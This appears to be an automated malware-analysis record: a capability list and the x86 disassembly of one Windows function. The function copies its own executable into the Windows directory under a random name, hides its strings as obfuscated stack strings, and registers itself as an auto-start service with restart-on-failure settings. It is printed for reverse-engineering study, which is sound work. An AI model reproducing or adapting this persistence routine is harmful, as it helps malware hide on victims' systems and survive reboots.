Function at 0x403830
Capabilities:
Contain obfuscated stackstrings
Get common file path
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4081a0
push 0x404606
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x41c
push ebx
push esi
push edi
push str.RegCloseKey
push str.ADVAPI32.dll
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call esi
push eax
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call edi
mov dword [ebp - 0x340], eax
push str.OpenSCManagerA
push str.ADVAPI32.dll
call esi
push eax
call edi
mov dword [ebp - 0x358], eax
push str.OpenServiceA
push str.ADVAPI32.dll
call esi
push eax
call edi
mov dword [ebp - 0x234], eax
push str.CloseServiceHandle
push str.ADVAPI32.dll
call esi
push eax
call edi
mov dword [ebp - 0x34c], eax
push str.CopyFileA
push 0x40a078
call esi
push eax
call edi
mov ebx, eax
push str.RegSetValueExA
push str.ADVAPI32.dll
call esi
push eax
call edi
mov dword [ebp - 0x354], eax
push str.StartServiceA
push str.ADVAPI32.dll
call esi
push eax
call edi
mov dword [ebp - 0x230], eax
push str.RegOpenKeyA
push str.ADVAPI32.dll
call esi
push eax
call edi
mov dword [ebp - 0x360], eax
push str.UnlockServiceDatabase
push str.ADVAPI32.dll
call esi
push eax
call edi
mov dword [ebp - 0x35c], eax
push str.ChangeServiceConfig2A
push str.ADVAPI32.dll
call esi
push eax
call edi
mov dword [ebp - 0x350], eax
push str.CreateServiceA
push str.ADVAPI32.dll
call esi
push eax
call edi
mov dword [ebp - 0x1c], eax
push str.LockServiceDatabase
push str.ADVAPI32.dll
call esi
push eax
call edi
mov dword [ebp - 0x22c], eax
push 0x104
lea eax, [ebp - 0x33c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x104
lea ecx, [ebp - 0x224]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea edi, [ebp - 0x224]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea edx, [ebp - 0x33c]
push edx
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.MSVCRT.dll_strncmp]
add esp, 0xc
test eax, eax
je 0x403b3e
mov byte [ebp - 0x378], 0x65
mov byte [ebp - 0x377], 0x78
mov byte [ebp - 0x376], 0x65
mov byte [ebp - 0x375], 0x2e
mov byte [ebp - 0x374], 0x63
mov al, 0x25
mov byte [ebp - 0x373], al
mov byte [ebp - 0x372], 0x63
mov byte [ebp - 0x371], al
mov byte [ebp - 0x370], 0x63
mov byte [ebp - 0x36f], al
mov byte [ebp - 0x36e], 0x63
mov byte [ebp - 0x36d], al
mov byte [ebp - 0x36c], 0x63
mov byte [ebp - 0x36b], al
mov byte [ebp - 0x36a], 0x63
mov byte [ebp - 0x369], al
mov byte [ebp - 0x368], 0
lea ecx, [ebp - 0x378]
push ecx
call dword [sym.imp.MSVCRT.dll__strrev]
push 0x1a
call fcn.004047d0
add esp, 8
add eax, 0x61
push eax
push 0x1a
call fcn.004047d0
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.004047d0
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.004047d0
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.004047d0
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.004047d0
add esp, 4
add eax, 0x61
push eax
lea edx, [ebp - 0x378]
push edx
lea eax, [ebp - 0x3c8]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x20
lea edx, [ebp - 0x224]
mov edi, 0x40a520
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x3c8]
lea edx, [ebp - 0x224]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push eax
lea eax, [ebp - 0x224]
push eax
lea ecx, [ebp - 0x33c]
push ecx
call ebx
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x33c]
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x224]
lea edx, [ebp - 0x33c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor ebx, ebx
mov dword [ebp - 0x238], ebx
mov dword [ebp - 0x348], ebx
xor esi, esi
mov dword [ebp - 0x344], esi
mov dword [ebp - 4], esi
push 0xf003f
push esi
push esi
call dword [ebp - 0x358]
mov edi, eax
mov dword [ebp - 0x344], edi
cmp edi, esi
je 0x403e8c
push esi
push esi
push esi
push esi
push esi
lea ecx, [ebp - 0x33c]
push ecx
push 1
push 2
push 0x110
push 0xf01ff
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
push edi
call dword [ebp - 0x1c]
mov ebx, eax
mov dword [ebp - 0x348], ebx
push edi
call dword [ebp - 0x22c]
mov esi, eax
mov dword [ebp - 0x3e8], esi
mov dword [ebp - 0x3cc], str.Pqrstuvw_Yabcdefgh_Jklmnop_Rstuvwxy_Bcd
lea ecx, [ebp - 0x3cc]
push ecx
push 1
push ebx
call dword [ebp - 0x350]
xor eax, eax
mov dword [ebp - 0x408], eax
xor edx, edx
mov dword [ebp - 0x404], edx
mov dword [ebp - 0x400], edx
mov dword [ebp - 0x3fc], edx
mov dword [ebp - 0x3f8], edx
mov dword [ebp - 0x404], eax
mov dword [ebp - 0x408], 0x15180
mov dword [ebp - 0x3e0], 0x1b58
mov ecx, 1
mov dword [ebp - 0x3e4], ecx
mov dword [ebp - 0x3d8], eax
mov dword [ebp - 0x3dc], ecx
mov dword [ebp - 0x3d0], eax
mov dword [ebp - 0x3d4], ecx
mov dword [ebp - 0x3fc], 3
lea ecx, [ebp - 0x3e4]
mov dword [ebp - 0x3f8], ecx
mov dword [ebp - 0x400], eax
lea edx, [ebp - 0x408]
push edx
push 2
push ebx
call dword [ebp - 0x350]
push esi
call dword [ebp - 0x35c]
test ebx, ebx
jne 0x403c99
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
jne 0x403c99
push 0xf01ff
mov eax, dword [ebp + 8]
push eax
push edi
call dword [ebp - 0x234]
mov ebx, eax
mov dword [ebp - 0x348], ebx
test ebx, ebx
je 0x403e8c
push 0
push 0
push ebx
call dword [ebp - 0x230]
push 0
push 0
push ebx
call dword [ebp - 0x230]
test eax, eax
je 0x403e8c
mov al, 0x53
mov byte [ebp - 0x42c], al
mov byte [ebp - 0x42b], 0x59
mov byte [ebp - 0x42a], al
mov byte [ebp - 0x429], 0x54
mov byte [ebp - 0x428], 0x45
mov byte [ebp - 0x427], 0x4d
mov cl, 0x5c
mov byte [ebp - 0x426], cl
mov dl, 0x43
mov byte [ebp - 0x425], dl
mov byte [ebp - 0x424], 0x75
mov byte [ebp - 0x423], 0x72
mov byte [ebp - 0x422], 0x72
mov byte [ebp - 0x421], 0x65
mov byte [ebp - 0x420], 0x6e
mov byte [ebp - 0x41f], 0x74
mov byte [ebp - 0x41e], dl
mov byte [ebp - 0x41d], 0x6f
mov byte [ebp - 0x41c], 0x6e
mov byte [ebp - 0x41b], 0x74
mov byte [ebp - 0x41a], 0x72
mov byte [ebp - 0x419], 0x6f
mov byte [ebp - 0x418], 0x6c
mov byte [ebp - 0x417], al
mov byte [ebp - 0x416], 0x65
mov byte [ebp - 0x415], 0x74
mov byte [ebp - 0x414], cl
mov byte [ebp - 0x413], al
mov byte [ebp - 0x412], 0x65
mov byte [ebp - 0x411], 0x72
mov byte [ebp - 0x410], 0x76
mov byte [ebp - 0x40f], 0x69
mov byte [ebp - 0x40e], 0x63
mov byte [ebp - 0x40d], 0x65
mov byte [ebp - 0x40c], 0x73
mov byte [ebp - 0x40b], cl
mov byte [ebp - 0x40a], 0
lea edi, [ebp - 0x42c]
lea edx, [ebp - 0x120]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edx, [ebp - 0x120]
mov edi, dword [ebp + 8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x238]
push eax
lea ecx, [ebp - 0x120]
push ecx
push connect
call dword [ebp - 0x360]
mov byte [ebp - 0x3f4], 0x44
mov byte [ebp - 0x3f3], 0x65
mov byte [ebp - 0x3f2], 0x73
mov byte [ebp - 0x3f1], 0x63
mov byte [ebp - 0x3f0], 0x72
mov byte [ebp - 0x3ef], 0x69
mov byte [ebp - 0x3ee], 0x70
mov byte [ebp - 0x3ed], 0x74
mov byte [ebp - 0x3ec], 0x69
mov byte [ebp - 0x3eb], 0x6f
mov byte [ebp - 0x3ea], 0x6e
mov byte [ebp - 0x3e9], 0
mov esi, dword [ebp + 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
push 1
push 0
lea edx, [ebp - 0x3f4]
push edx
mov eax, dword [ebp - 0x238]
push eax
call dword [ebp - 0x354]
mov edi, dword [ebp - 0x344]
mov dword [ebp - 4], 0xffffffff
call fcn.00403eb5
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret